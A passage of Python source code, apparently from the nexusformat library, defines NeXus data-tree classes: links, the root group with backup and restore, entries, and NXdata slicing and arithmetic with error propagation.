NXfield containing the variance of the NXdata group\n        assuming the signal is one-dimensional.\n        \"\"\"\n        return self.moment(2)\n\n    def std(self):\n        \"\"\"\n        Returns an NXfield containing the standard deviation of the NXdata group\n        assuming the signal is one-dimensional.\n        \"\"\"\n        return np.sqrt(self.moment(2))\n\n    def is_plottable(self):\n        plottable = False\n        for entry in self:\n            if self[entry].is_plottable():\n                plottable = True\n        return plottable        \n\n    @property\n    def plottable_data(self):\n        \"\"\"\n        Returns the first NXdata group within the group's tree.\n        \"\"\"\n        return None\n\n    def plot(self, **kwargs):\n        \"\"\"\n        Plot data contained within the group.\n        \"\"\"\n        plotdata = self.plottable_data\n        if plotdata:\n            plotdata.plot(**kwargs)\n        else:\n            raise NeXusError(\"There is no plottable data\")\n\n    def oplot(self, **kwargs):\n        \"\"\"\n        Plots the data contained within the group over the current figure.\n        \"\"\"\n        plotdata = self.plottable_data\n        if plotdata:\n            plotdata.oplot(**kwargs)\n        else:\n            raise NeXusError(\"There is no plottable data\")\n\n    def logplot(self, **kwargs):\n        \"\"\"\n        Plots the data intensity contained within the group on a log scale.\n        \"\"\"\n        plotdata = self.plottable_data\n        if plotdata:\n            plotdata.logplot(**kwargs)\n        else:\n            raise NeXusError(\"There is no plottable data\")\n\n    def implot(self, **kwargs):\n        \"\"\"\n        Plots the data intensity as an RGB(A) image.\n        \"\"\"\n        plotdata = self.plottable_data\n        if plotdata:\n            plotdata.implot(**kwargs)\n        else:\n            raise NeXusError(\"There is no plottable data\")\n\n    def signals(self):\n        \"\"\"\n        Returns a dictionary of NXfield's containing signal data.\n\n        The key is the value of the signal attribute.\n        \"\"\"\n        signals = {}\n        for obj in self.values():\n            if 'signal' in obj.attrs:\n                signals[obj.attrs['signal']] = obj\n        return signals\n\n    def _str_name(self, indent=0):\n        return \" \" * indent + self.nxname + ':' + self.nxclass\n\n    def _str_tree(self, indent=0, attrs=False, recursive=False):\n        \"\"\"\n        Prints the current object and children (if any).\n        \"\"\"\n        result = [self._str_name(indent=indent)]\n        if self.attrs and (attrs or indent==0):\n            result.append(self._str_attrs(indent=indent+2))\n        entries = self.entries\n        if entries:\n            names = sorted(entries, key=natural_sort)\n            if recursive:\n                if recursive is True or recursive >= indent:\n                    for k in names:\n                        result.append(entries[k]._str_tree(indent=indent+2,\n                                                           attrs=attrs, \n                                                           recursive=recursive))\n            else:\n                for k in names:\n                    result.append(entries[k]._str_name(indent=indent+2))\n        return \"\\n\".join(result)\n\n    @property\n    def nxtitle(self):\n        \"\"\"\n        Returns the title as a string.\n\n        If there is no title field in the group or its parent group, the group's\n        path is returned.\n        \"\"\"\n        if 'title' in self:\n            return text(self.title)\n        elif self.nxgroup and 'title' in self.nxgroup:\n            return text(self.nxgroup.title)\n        else:\n            root = self.nxroot\n            if root.nxname != '' and root.nxname != 'root':\n                return (root.nxname + '/' + self.nxpath.lstrip('/')).rstrip('/')\n            else:\n                fname = self.nxfilename\n                if fname is not None:\n                    return fname + ':' + self.nxpath\n                else:\n                    return self.nxpath\n\n    @property\n    def entries(self):\n        return self._entries\n\n    nxsignal = None\n    nxaxes = None\n    nxerrors = None\n\n\nclass NXlink(NXobject):\n\n    \"\"\"\n    Class for NeXus linked objects.\n\n    The real object will be accessible by following the link attribute.\n    \"\"\"\n\n    _class = \"NXlink\"\n\n    def __init__(self, target=None, file=None, name=None, group=None, \n                 abspath=False):\n        self._class = \"NXlink\"\n        self._name = name\n        self._group = group\n        self._abspath = abspath\n        if file is not None:\n            self._filename = file\n            self._mode = 'r'\n        else:\n            self._filename = self._mode = None\n        self._attrs = AttrDict(self)\n        self._entries = {}\n        if isinstance(target, NXobject):\n            if isinstance(target, NXlink):\n                raise NeXusError(\"Cannot link to another NXlink object\")\n            if name is None:\n                self._name = target.nxname\n            self._target = target.nxpath\n            if isinstance(target, NXfield):\n                self._setclass(NXlinkfield)\n            elif isinstance(target, NXgroup):\n                self._setclass(_getclass(target.nxclass, link=True))\n        else:\n            if name is None and is_text(target):\n                self._name = target.rsplit('/', 1)[1]\n            self._target = text(target)\n        self._link = None\n\n    def __repr__(self):\n        if self._filename:\n            return \"NXlink(target='%s', file='%s')\" % (self._target, \n                                                       self._filename)\n        else:\n            return \"NXlink('%s')\" % (self._target)\n\n    def __getattr__(self, name):\n        if self.is_external():\n            if self.exists():\n                with self.nxfile as f:\n                    item = f.readpath(self.nxfilepath)\n                return getattr(item, name)\n            else:\n                raise NeXusError(\"Cannot read the external link to '%s'\" % self._filename)\n        else:\n            if self.nxlink:\n                return getattr(self.nxlink, name)\n            else:\n                raise NeXusError(\"Cannot resolve the link to '%s'\" % self._target)\n\n    def __setattr__(self, name, value):\n        if name.startswith('_')  or name.startswith('nx'):\n            object.__setattr__(self, name, value)\n        elif self.is_external():\n            raise NeXusError(\"Cannot modify an externally linked file\")\n        else:\n            self.nxlink.__setattr__(name, value)            \n\n    def __deepcopy__(self, memo={}):\n        obj = self\n        dpcpy = obj.__class__()\n        memo[id(self)] = dpcpy\n        dpcpy._name = copy(self.nxname)\n        dpcpy._target = copy(obj._target)\n        if obj._filename:\n            dpcpy._filename = copy(obj.nxfilename)\n        else:\n            dpcpy._filename = None\n        dpcpy._abspath = copy(obj._abspath)\n        dpcpy._link = None\n        dpcpy._group = None\n        return dpcpy\n\n    def _str_name(self, indent=0):\n        if self._filename:\n            return (\" \" * indent + self.nxname + ' -> ' + text(self._filename) +\n                    \"['\" + text(self._target) + \"']\")\n        else:\n            return \" \" * indent + self.nxname + ' -> ' + text(self._target)\n\n    def _str_tree(self, indent=0, attrs=False, recursive=False):\n        return self._str_name(indent=indent)\n\n    def update(self):\n        root = self.nxroot\n        filename, mode = root.nxfilename, root.nxfilemode\n        if (filename is not None and os.path.exists(filename) and mode == 'rw'):\n            with root.nxfile as f:\n                f.update(self)\n        self.set_changed()\n\n    @property\n    def nxlink(self):\n        if self._link is None:\n            self.initialize_link()\n        return self._link\n\n    def initialize_link(self):\n        \"\"\"Determine the link class from the target.\"\"\"\n        if self._link is None:\n            if self._filename is not None and os.path.exists(self.nxfilename):\n                with self.nxfile as f:\n                    item = f.readpath(self.nxfilepath)\n                self._link = self\n            elif self._target in self.nxroot:\n                item = self.nxroot[self._target]\n                self._link = item\n            else:\n                self._link = None\n                return None\n            if isinstance(item, NXfield):\n                self._setclass(NXlinkfield)\n            elif isinstance(item, NXgroup):\n                self._setclass(_getclass(item.nxclass, link=True))\n            self.copy(item)\n        return self._link\n\n    @property\n    def nxfilemode(self):\n        try:\n            if self._mode is None:\n                if self.is_external():\n                    self._mode = 'r'\n                else:\n                    self._mode = self.nxlink.nxfilemode\n            return self._mode\n        except Exception:\n            return 'r'\n\n    @property\n    def attrs(self):\n        try:\n            if not self.is_external():\n                return self.nxlink._attrs\n            else:\n                return self._attrs\n        except Exception as error:\n            self._attrs = AttrDict(self)\n        return self._attrs\n\n    @property\n    def abspath(self):\n        return self._abspath\n\n    def is_external(self):\n        if self._external is None:\n            if self._filename is not None:\n                self._external = True\n            else:\n                self._external = super(NXlink, self).is_external()\n        return self._external\n\n\nclass NXlinkfield(NXlink, NXfield):\n\n    \"\"\"\n    Class for a NeXus linked field.\n\n    The real field will be accessible by following the link attribute.\n    \"\"\"\n    def __init__(self, target=None, file=None, name=None, abspath=False, \n                 **kwargs):\n        NXlink.__init__(self, target=target, file=file, name=name, \n                        abspath=abspath)\n        if self._filename is not None:\n            NXfield.__init__(self, name=name, **kwargs)\n        self._class = \"NXfield\"\n\n    def __getitem__(self, key):\n        if self.is_external():\n            return super(NXlinkfield, self).__getitem__(key)\n        else:\n            return self.nxlink.__getitem__(key)\n\n    def __setitem__(self, key, value):\n        if self.is_external():\n            raise NeXusError(\"Cannot modify an externally linked file\")\n        else:\n            self.nxlink.__setitem__(key, value)\n\n    def copy(self, field):\n        self._value = field._value\n        self._shape = field._shape\n        self._dtype = field._dtype\n        self._attrs = field._attrs\n        self._h5opts = field._h5opts\n        self._memfile = field._memfile\n        self._uncopied_data = field._uncopied_data\n        self._attrs = field._attrs\n\n    def plot(self, **kwargs):\n        if self.is_external():\n            super(NXlinkfield, self).plot(**kwargs)\n        else:\n            self.nxlink.plot(**kwargs)            \n\n\nclass NXlinkgroup(NXlink, NXgroup):\n\n    \"\"\"\n    Class for a NeXus linked group.\n\n    The real group will be accessible by following the link attribute.\n    \"\"\"\n    def __init__(self, target=None, file=None, name=None, abspath=False, **kwargs):\n        NXlink.__init__(self, target=target, file=file, name=name, \n                        abspath=abspath)\n        if 'nxclass' in kwargs:\n            NXgroup.__init__(self, **kwargs)\n            self._setclass(_getclass(kwargs['nxclass'], link=True))\n        else:\n            self._class = 'NXlink'\n\n    def __getitem__(self, key):\n        if self.is_external():\n            return self._entries[key]\n        else:\n            return self.nxlink.__getitem__(key)\n\n    def __setitem__(self, key, value):\n        if self.is_external():\n            raise NeXusError(\"Cannot modify an externally linked file\")\n        else:\n            self.nxlink.__setitem__(key, value)\n\n    def _str_name(self, indent=0):\n        if self._filename:\n            return (\" \" * indent + self.nxname + ':' + self.nxclass + \n                    ' -> ' + text(self._filename) + \n                    \"['\" + text(self._target) + \"']\")\n        else:\n            return (\" \" * indent + self.nxname + ':' + self.nxclass + \n                    ' -> ' + text(self._target))\n\n    def _str_tree(self, indent=0, attrs=False, recursive=False):\n        try:\n            return NXgroup._str_tree(self, indent=indent, attrs=attrs, \n                                     recursive=recursive)\n        except Exception:\n            return NXlink(self)._str_tree(self, indent=indent)\n        \n    def copy(self, group):\n        self._entries = group._entries\n        self._attrs = group._attrs\n\n    @property\n    def entries(self):\n        return self.nxlink._entries\n\n    def plot(self, **kwargs):\n        if self.is_external():\n            super(NXlinkgroup, self).plot(**kwargs)\n        else:\n            self.nxlink.plot(**kwargs)        \n\n\nclass NXroot(NXgroup):\n\n    \"\"\"\n    NXroot group. This is a subclass of the NXgroup class.\n\n    This group has additional methods to lock or unlock the tree.\n\n    See the NXgroup documentation for more details.\n    \"\"\"\n\n    def __init__(self, *args, **kwargs):\n        self._class = \"NXroot\"\n        self._backup = None\n        self._mtime = None\n        self._file_modified = False\n        NXgroup.__init__(self, *args, **kwargs)\n\n    def reload(self):\n        if self.nxfilemode:\n            with self.nxfile as f:\n                f.reload()\n            self.set_changed()\n        else:\n            raise NeXusError(\"'%s' has no associated file to reload\" % self.nxname)\n\n    def is_modified(self):\n        try:\n            _mtime = self.nxfile.mtime\n            if self._mtime and _mtime > self._mtime:\n                self._file_modified = True\n                return True\n            else:\n                self._file_modified = False\n                return False\n        except (AttributeError, TypeError, FileNotFoundError):\n            self._file_modified = False\n            return False\n\n    def lock(self):\n        \"\"\"Make the tree readonly\"\"\"\n        if self._filename:\n            if self.file_exists():\n                self._mode = self._file.mode = 'r'\n                self.set_changed()\n            else:\n                raise NeXusError(\"'%s' does not exist\" % \n                                 os.path.abspath(self.nxfilename))\n\n    def unlock(self):\n        \"\"\"Make the tree modifiable\"\"\"\n        if self._filename:\n            if self.file_exists():\n                if self.is_modified():\n                    raise NeXusError(\"File modified. Reload before unlocking\")\n                self._mode = self._file.mode = 'rw'\n            else:\n                self._mode = None\n                self._file = None\n                raise NeXusError(\"'%s' does not exist\" % \n                                 os.path.abspath(self.nxfilename))\n            self.set_changed()\n\n    def backup(self, filename=None, dir=None):\n        \"\"\"Backup the NeXus file.\n        \n        If no backup file is given, the backup is saved to the current\n        directory with a randomized name.\n        \"\"\" \n        if self.nxfilemode is None:\n            raise NeXusError(\"Only data saved to a NeXus file can be backed up\")\n        if filename is None:\n            if dir is None:\n                dir = os.getcwd()\n            import tempfile\n            prefix, suffix = os.path.splitext(os.path.basename(self.nxfilename))\n            prefix = prefix + '_backup_'\n            backup = tempfile.mkstemp(prefix=prefix, suffix=suffix, dir=dir)[1]\n        else:\n            if dir is not None:\n                filename = os.path.join(dir, filename)\n            if os.path.exists(filename):\n                raise NeXusError(\"'%s' already exists\" \n                                 % os.path.abspath(filename))\n            else:\n                backup = os.path.abspath(filename)\n        import shutil\n        shutil.copy2(self.nxfilename, backup)\n        self._backup = backup\n\n    def restore(self, filename=None, overwrite=False):\n        \"\"\"Restore the backup.\n        \n        If no file name is given, the backup replaces the current NeXus file\n        provided 'overwrite' has been set to True.\"\"\"\n        if self._backup is None:\n            raise NeXusError(\"No backup exists\")\n        if filename is None:\n            filename = self.nxfilename\n        if os.path.exists(filename) and not overwrite:\n            raise NeXusError(\"To overwrite '%s', set 'overwite' to True\"\n                             % os.path.abspath(filename))\n        import shutil\n        shutil.copy2(self._backup, filename)\n        self.nxfile = filename\n\n    def close(self):\n        \"\"\"Close the underlying HDF5 file.\"\"\"\n        if self.nxfile:\n            self.nxfile.close()\n\n    @property\n    def plottable_data(self):\n        \"\"\"\n        Returns the first NXdata group within the group's tree.\n        \"\"\"\n        if 'default' in self.attrs and self.attrs['default'] in self:\n            group = self[self.attrs['default']]\n            if isinstance(group, NXdata):\n                return group\n            elif isinstance(group, NXentry):\n                plottable_data = group.plottable_data\n                if isinstance(plottable_data, NXdata):\n                    return plottable_data\n        if self.NXdata:\n            return self.NXdata[0]\n        elif self.NXmonitor:\n            return self.NXmonitor[0]\n        elif self.NXlog:\n            return self.NXlog[0]\n        elif self.NXentry:\n            for entry in self.NXentry:\n                data = entry.plottable_data\n                if data is not None:\n                    return data\n        return None\n\n    @property\n    def nxfile(self):\n        if self._file:\n            return self._file\n        elif self._filename:\n            self._file = NXFile(self._filename, self._mode)\n            return self._file\n        else:\n            return None\n\n    @nxfile.setter\n    def nxfile(self, filename):\n        if os.path.exists(filename):\n            self._filename = os.path.abspath(filename)\n            with NXFile(self._filename, 'r') as f:\n                root = f.readfile()\n            self._entries = root._entries\n            for entry in self._entries:\n                self._entries[entry]._group = self\n            self._attrs._setattrs(root.attrs)\n            self._file = NXFile(self._filename, self._mode)\n            self.set_changed()\n        else:\n            raise NeXusError(\"'%s' does not exist\" % os.path.abspath(filename))\n\n    @property\n    def nxbackup(self):\n        \"\"\"Returns name of backup file if it exists\"\"\"\n        return self._backup\n\n    @property\n    def mtime(self):\n        \"\"\"Return modification time of last change to root group.\"\"\"\n        return self._mtime\n\n\nclass NXentry(NXgroup):\n\n    \"\"\"\n    NXentry group. This is a subclass of the NXgroup class.\n\n    Each NXdata and NXmonitor object of the same name will be added\n    together, raising an NeXusError if any of the groups do not exist\n    in both NXentry groups or if any of the NXdata additions fail.\n    The resulting NXentry group contains a copy of all the other metadata\n    contained in the first group. Note that other extensible data, such\n    as the run duration, are not currently added together.\n\n    See the NXgroup documentation for more details.\n    \"\"\"\n\n    def __init__(self, *args, **kwargs):\n        self._class = \"NXentry\"\n        NXgroup.__init__(self, *args, **kwargs)\n\n    def __add__(self, other):\n        \"\"\"\n        Adds two NXentry objects\n        \"\"\"\n        result = NXentry(entries=self.entries, attrs=self.attrs)\n        try:\n            names = [group.nxname for group in self.component(\"NXdata\")]\n            for name in names:\n                if isinstance(other[name], NXdata):\n                    result[name] = self[name] + other[name]\n                else:\n                    raise KeyError\n            names = [group.nxname for group in self.component(\"NXmonitor\")]\n            for name in names:\n                if isinstance(other[name], NXmonitor):\n                    result[name] = self[name] + other[name]\n                else:\n                    raise KeyError\n            return result\n        except KeyError:\n            raise NeXusError(\"Inconsistency between two NXentry groups\")\n\n    def __sub__(self, other):\n        \"\"\"\n        Subtracts two NXentry objects\n        \"\"\"\n        result = NXentry(entries=self.entries, attrs=self.attrs)\n        try:\n            names = [group.nxname for group in self.component(\"NXdata\")]\n            for name in names:\n                if isinstance(other[name], NXdata):\n                    result[name] = self[name] - other[name]\n                else:\n                    raise KeyError\n            names = [group.nxname for group in self.component(\"NXmonitor\")]\n            for name in names:\n                if isinstance(other[name], NXmonitor):\n                    result[name] = self[name] - other[name]\n                else:\n                    raise KeyError\n            return result\n        except KeyError:\n            raise NeXusError(\"Inconsistency between two NXentry groups\")\n\n    @property\n    def plottable_data(self):\n        \"\"\"\n        Returns the first NXdata group within the group's tree.\n        \"\"\"\n        if 'default' in self.attrs and self.attrs['default'] in self:\n            plottable_data = self[self.attrs['default']]\n            if isinstance(plottable_data, NXdata):\n                return plottable_data\n        if self.NXdata:\n            return self.NXdata[0]\n        elif self.NXmonitor:\n            return self.NXmonitor[0]\n        elif self.NXlog:\n            return self.NXlog[0]\n        else:\n            return None\n\n\nclass NXsubentry(NXentry):\n\n    \"\"\"\n    NXsubentry group. This is a subclass of the NXsubentry class.\n\n    See the NXgroup documentation for more details.\n    \"\"\"\n\n    def __init__(self, *args, **kwargs):\n        self._class = \"NXsubentry\"\n        NXgroup.__init__(self, *args, **kwargs)\n\n\nclass NXdata(NXgroup):\n\n    \"\"\"\n    NXdata group. This is a subclass of the NXgroup class.\n\n    The constructor assumes that the first argument contains the signal and\n    the second contains either the axis, for one-dimensional data, or a list\n    of axes, for multidimensional data. These arguments can either be NXfield\n    objects or Numpy arrays, which are converted to NXfield objects with default\n    names. Alternatively, the signal and axes NXfields can be defined using the\n    'nxsignal' and 'nxaxes' properties. See the examples below.\n    \n    Various arithmetic operations (addition, subtraction, multiplication,\n    and division) have been defined for combining NXdata groups with other\n    NXdata groups, Numpy arrays, or constants, raising a NeXusError if the\n    shapes don't match. Data errors are propagated in quadrature if\n    they are defined, i.e., if the 'nexerrors' attribute is not None,\n\n    **Python Attributes**\n\n    nxsignal : property\n        The NXfield containing the attribute 'signal' with value 1\n    nxaxes : property\n        A list of NXfields containing the signal axes\n    nxerrors : property\n        The NXfield containing the errors\n\n    **Examples**\n\n    There are three methods of creating valid NXdata groups with the\n    signal and axes NXfields defined according to the NeXus standard.\n    \n    1) Create the NXdata group with Numpy arrays that will be assigned\n       default names.\n       \n       >>> x = np.linspace(0, 2*np.pi, 101)\n       >>> line = NXdata(sin(x), x)\n       data:NXdata\n         signal = float64(101)\n           @axes = x\n           @signal = 1\n         axis1 = float64(101)\n      \n    2) Create the NXdata group with NXfields that have their internal\n       names already assigned.\n\n       >>> x = NXfield(linspace(0,2*pi,101), name='x')\n       >>> y = NXfield(linspace(0,2*pi,101), name='y')    \n       >>> X, Y = np.meshgrid(x, y)\n       >>> z = NXfield(sin(X) * sin(Y), name='z')\n       >>> entry = NXentry()\n       >>> entry.grid = NXdata(z, (x, y))\n       >>> grid.tree()\n       entry:NXentry\n         grid:NXdata\n           x = float64(101)\n           y = float64(101)\n           z = float64(101x101)\n             @axes = x:y\n             @signal = 1\n\n    3) Create the NXdata group with keyword arguments defining the names \n       and set the signal and axes using the nxsignal and nxaxes properties.\n\n       >>> x = linspace(0,2*pi,101)\n       >>> y = linspace(0,2*pi,101)  \n       >>> X, Y = np.meshgrid(x, y)\n       >>> z = sin(X) * sin(Y)\n       >>> entry = NXentry()\n       >>> entry.grid = NXdata(z=sin(X)*sin(Y), x=x, y=y)\n       >>> entry.grid.nxsignal = entry.grid.z\n       >>> entry.grid.nxaxes = [entry.grid.x,entry.grid.y]\n       >>> grid.tree()\n       entry:NXentry\n         grid:NXdata\n           x = float64(101)\n           y = float64(101)\n           z = float64(101x101)\n             @axes = x:y\n             @signal = 1\n    \"\"\"\n\n    def __init__(self, signal=None, axes=None, errors=None, *args, **kwargs):\n        self._class = 'NXdata'\n        NXgroup.__init__(self, *args, **kwargs)\n        attrs = {}\n        if axes is not None:\n            if not is_iterable(axes):\n                axes = [axes]\n            axis_names = {}\n            i = 0\n            for axis in axes:\n                i += 1\n                if isinstance(axis, NXfield) or isinstance(axis, NXlink):\n                    if axis.nxname == 'unknown' or axis.nxname in self: \n                        axis_name = 'axis%s' % i\n                    else:\n                        axis_name = axis.nxname\n                else:\n                    axis_name = 'axis%s' % i\n                self[axis_name] = axis\n                axis_names[i] = axis_name\n            attrs['axes'] = list(axis_names.values())\n        if signal is not None:\n            if isinstance(signal, NXfield) or isinstance(signal, NXlink):\n                if signal.nxname == 'unknown' or signal.nxname in self:\n                    signal_name = 'signal'\n                else:\n                    signal_name = signal.nxname\n            else:\n                signal_name = 'signal'\n            self[signal_name] = signal\n            attrs['signal'] = signal_name\n            if errors is not None:\n                if isinstance(errors, NXfield) or isinstance(errors, NXlink):\n                    if errors.nxname == 'unknown' or errors.nxname in self:\n                        errors_name = signal_name+'_errors'\n                    else:\n                        errors_name = errors.nxname\n                else:\n                    errors_name = signal_name+'_errors'\n                self[errors_name] = errors\n                self[signal_name].attrs['uncertainties'] = errors_name\n        self.attrs._setattrs(attrs)\n\n    def __setattr__(self, name, value):\n        \"\"\"\n        Sets an attribute as an object or regular Python attribute.\n\n        This calls the NXgroup __setattr__ function unless the name is 'mask'\n        which is used to set signal masks.\n        \"\"\"\n        if name == 'mask':\n            object.__setattr__(self, name, value)\n        else:\n            super(NXdata, self).__setattr__(name, value)\n\n    def __getitem__(self, key):\n        \"\"\"\n        Returns an entry in the group if the key is a string.\n        \n        or\n        \n        Returns a slice from the NXgroup nxsignal attribute (if it exists) as\n        a new NXdata group, if the index is a slice object.\n\n        In most cases, the slice values are applied to the NXfield nxdata array\n        and returned within an NXfield object with the same metadata. However,\n        if the array is one-dimensional and the index start and stop values\n        are real, the nxdata array is returned with values between the limits\n        set by those axis values.\n\n        This is to allow axis arrays to be limited by their actual value. This\n        real-space slicing should only be used on monotonically increasing (or\n        decreasing) one-dimensional arrays.\n        \"\"\"\n        if is_text(key): #i.e., requesting a dictionary value\n            return NXgroup.__getitem__(self, key)\n        elif self.nxsignal is not None:\n            idx, axes = self.slab(key)\n            removed_axes = []\n            for axis in axes:\n                if axis.shape == () or axis.shape == (0,) or axis.shape == (1,):\n                    removed_axes.append(axis)\n            axes = [ax for ax in axes if ax not in [rax for rax in removed_axes \n                                                    if rax is ax]]            \n            signal = self.nxsignal[idx]\n            if self.nxerrors: \n                errors = self.nxerrors[idx]\n            else:\n                errors = None\n            if 'axes' in signal.attrs:\n                del signal.attrs['axes']\n            result = NXdata(signal, axes, errors, *removed_axes)\n            if errors is not None:\n                result.nxerrors = errors\n            if self.nxsignal.mask is not None:\n                if isinstance(self.nxsignal.mask, NXfield):\n                    result[self.nxsignal.mask.nxname] = signal.mask \n            if self.nxtitle:\n                result.title = self.nxtitle\n            return result\n        else:\n            raise NeXusError(\"No signal specified\")\n\n    def __setitem__(self, idx, value):\n        if is_text(idx):\n            NXgroup.__setitem__(self, idx, value)\n        elif self.nxsignal is not None:\n            if isinstance(idx, numbers.Integral) or isinstance(idx, slice):\n                axis = self.nxaxes[0]\n                if self.nxsignal.shape[0] == axis.shape[0]:\n                    axis = axis.boundaries()\n                idx = convert_index(idx, axis)\n                self.nxsignal[idx] = value\n            else:\n                slices = []\n                axes = self.nxaxes\n                for i,ind in enumerate(idx):\n                    if self.nxsignal.shape[i] == axes[i].shape[0]:\n                        axis = axes[i].boundaries()\n                    else:\n                        axis = axes[i]\n                    ind = convert_index(ind, axis)\n                    if isinstance(ind, slice) and ind.stop is not None:\n                        ind = slice(ind.start, ind.stop-1, ind.step)\n                    slices.append(ind)\n                self.nxsignal[tuple(slices)] = value\n        else:\n            raise NeXusError(\"Invalid index\")\n\n    def __delitem__(self, key):\n        super(NXdata, self).__delitem__(key)\n        if 'signal' in self.attrs and self.attrs['signal'] == key:\n            del self.attrs['signal']\n        elif 'axes' in self.attrs:\n            self.attrs['axes'] = [ax if ax != key else '.'\n                                  for ax in _readaxes(self.attrs['axes'])]\n\n    def __add__(self, other):\n        \"\"\"\n        Adds the NXdata group to another NXdata group or to a number. Only the \n        signal data is affected.\n\n        The result contains a copy of all the metadata contained in\n        the first NXdata group. The module checks that the dimensions are\n        compatible, but does not check that the NXfield names or values are\n        identical. This is so that spelling variations or rounding errors\n        do not make the operation fail. However, it is up to the user to\n        ensure that the results make sense.\n        \"\"\"\n        result = NXdata(entries=self.entries, attrs=self.attrs)\n        if isinstance(other, NXdata):\n            if self.nxsignal and self.nxsignal.shape == other.nxsignal.shape:\n                result[self.nxsignal.nxname] = self.nxsignal + other.nxsignal\n                if self.nxerrors:\n                    if other.nxerrors:\n                        result.nxerrors = np.sqrt(self.nxerrors**2 + \n                                                  other.nxerrors**2)\n                    else:\n                        result.nxerrors = self.nxerrors\n                return result\n        elif isinstance(other, NXgroup):\n            raise NeXusError(\"Cannot add two arbitrary groups\")\n        else:\n            result[self.nxsignal.nxname] = self.nxsignal + other\n            return result\n\n    def __sub__(self, other):\n        \"\"\"\n        Subtracts a NXdata group or a number from the NXdata group. Only the \n        signal data is affected.\n\n        The result contains a copy of all the metadata contained in\n        the first NXdata group. The module checks that the dimensions are\n        compatible, but does not check that the NXfield names or values are\n        identical. This is so that spelling variations or rounding errors\n        do not make the operation fail. However, it is up to the user to\n        ensure that the results make sense.\n        \"\"\"\n        result = NXdata(entries=self.entries, attrs=self.attrs)\n        if isinstance(other, NXdata):\n            if self.nxsignal and self.nxsignal.shape == other.nxsignal.shape:\n                result[self.nxsignal.nxname] = self.nxsignal - other.nxsignal\n                if self.nxerrors:\n                    if other.nxerrors:\n                        result.nxerrors = np.sqrt(self.nxerrors**2 + \n                                                  other.nxerrors**2)\n                    else:\n                        result.nxerrors = self.nxerrors\n                return result\n        elif isinstance(other, NXgroup):\n            raise NeXusError(\"Cannot subtract two arbitrary groups\")\n        else:\n            result[self.nxsignal.nxname] = self.nxsignal - other\n            return result\n\n    def __mul__(self, other):\n        \"\"\"\n        Multiplies the NXdata group with a NXdata group or a number. Only the \n        signal data is affected.\n\n        The result contains a copy of all the metadata contained in\n        the first NXdata group. The module checks that the dimensions are\n        compatible, but does not check that the NXfield names or values are\n        identical. This is so that spelling variations or rounding errors\n        do not make the operation fail. However, it is up to the user to\n        ensure that the results make sense.\n        \"\"\"\n        result = NXdata(entries=self.entries, attrs=self.attrs)\n        if isinstance(other, NXdata):\n\n            # error here signal not defined in this scope\n            #if self.nxsignal and signal.shape == other.nxsignal.shape:\n            if self.nxsignal and self.nxsignal.shape == other.nxsignal.shape:\n                result[self.nxsignal.nxname] = self.nxsignal * other.nxsignal\n                if self.nxerrors:\n                    if other.nxerrors:\n                        result.nxerrors = np.sqrt(\n                                          (self.nxerrors * other.nxsignal)**2 +\n                                          (other.nxerrors * self.nxsignal)**2)\n                    else:\n                        result.nxerrors = self.nxerrors\n                return result\n        elif isinstance(other, NXgroup):\n            raise NeXusError(\"Cannot multiply two arbitrary groups\")\n        else:\n            result[self.nxsignal.nxname] = self.nxsignal * other\n            if self.nxerrors:\n                result.nxerrors = self.nxerrors * other\n            return result\n\n    def __rmul__(self, other):\n        \"\"\"\n        Multiplies the NXdata group with a NXdata group or a number.\n\n        This variant makes __mul__ commutative.\n        \"\"\"\n        return self.__mul__(other)\n\n    def __truediv__(self, other):\n        \"\"\"\n        Divides the NXdata group by a NXdata group or a number. Only the signal \n        data is affected.\n\n        The result contains a copy of all the metadata contained in\n        the first NXdata group. The module checks that the dimensions are\n        compatible, but does not check that the NXfield names or values are\n        identical. This is so that spelling variations or rounding errors\n        do not make the operation fail. However, it is up to the user to\n        ensure that the results make sense.\n        \"\"\"\n        result = NXdata(entries=self.entries, attrs=self.attrs)\n        if isinstance(other, NXdata):\n            if self.nxsignal and self.nxsignal.shape == other.nxsignal.shape:\n                result[self.nxsignal.nxname] = self.nxsignal / other.nxsignal\n                if self.nxerrors:\n                    if other.nxerrors:\n                        result.nxerrors = (np.sqrt(self.nxerrors**2 +\n                            (result[self.nxsignal.nxname] * other.nxerrors)**2)\n                                         / other.nxsignal)\n                    else:\n                        result.nxerrors = self.nxerrors\n                return result\n        elif isinstance(other, NXgroup):\n            raise NeXusError(\"Cannot divide two arbitrary groups\")\n        else:\n            result[self.nxsignal.nxname] = self.nxsignal / other\n            if self.nxerrors: \n                result.nxerrors = self.nxerrors / other\n            return result\n\n    __div__ = __truediv__\n\n    def project(self, axes, limits, summed=True):\n        \"\"\"\n        Projects the data along a specified 1D axis or 2D axes summing over the\n        limits, which are specified as tuples for each dimension.\n        \n        This assumes that the data is at least two-dimensional.\n        \"\"\"\n        if not is_iterable(axes):\n            axes = [axes]\n        if len(limits) < len(self.nxsignal.shape):\n            raise NeXusError(\"Too few limits specified\")\n        elif len(axes) > 2:\n            raise NeXusError(\n                \"Projections to more than two dimensions not supported\")\n        projection_axes =  sorted([x for x in range(len(limits)) \n                                   if x not in axes], reverse=True)\n        idx, _ = self.slab([slice(_min, _max) for _min, _max in limits])\n        result = self[idx]\n        idx, slab_axes = list(idx), list(projection_axes)\n        for slab_axis in slab_axes:\n            if isinstance(idx[slab_axis], numbers.Integral):\n                idx.pop(slab_axis)\n                projection_axes.pop(projection_axes.index(slab_axis))\n                for i in range(len(projection_axes)):\n                    if projection_axes[i] > slab_axis:\n                        projection_axes[i] -= 1\n        if projection_axes:\n            if summed:\n                result = result.sum(projection_axes)\n            else:\n                result = result.average(projection_axes)\n        if len(axes) > 1 and axes[0] > axes[1]:\n            signal, errors = result.nxsignal, result.nxerrors\n            result[signal.nxname].replace(signal.transpose())\n            result.nxsignal = result[signal.nxname]\n            if errors:\n                result[errors.nxname].replace(errors.transpose())\n                result.nxerrors = result[errors.nxname]\n            result.nxaxes = result.nxaxes[::-1]            \n        return result        \n\n    def slab(self, idx):\n        if (isinstance(idx, numbers.Real) or isinstance(idx, numbers.Integral)\n                or isinstance(idx, slice)):\n            idx = [idx]\n        signal = self.nxsignal\n        axes = self.nxaxes\n        slices = []\n        for i,ind in enumerate(idx):\n            if is_real_slice(ind):\n                if signal.shape[i] == axes[i].shape[0]:\n                    axis = axes[i].boundaries()\n                else:\n                    axis = axes[i]\n                ind = convert_index(ind, axis)\n                if signal.shape[i] < axes[i].shape[0]:\n                    axes[i] = axes[i][ind]\n                    if isinstance(ind, slice) and ind.stop is not None:\n                        ind = slice(ind.start, ind.stop-1, ind.step)\n                elif (signal.shape[i] == axes[i].shape[0]):\n                    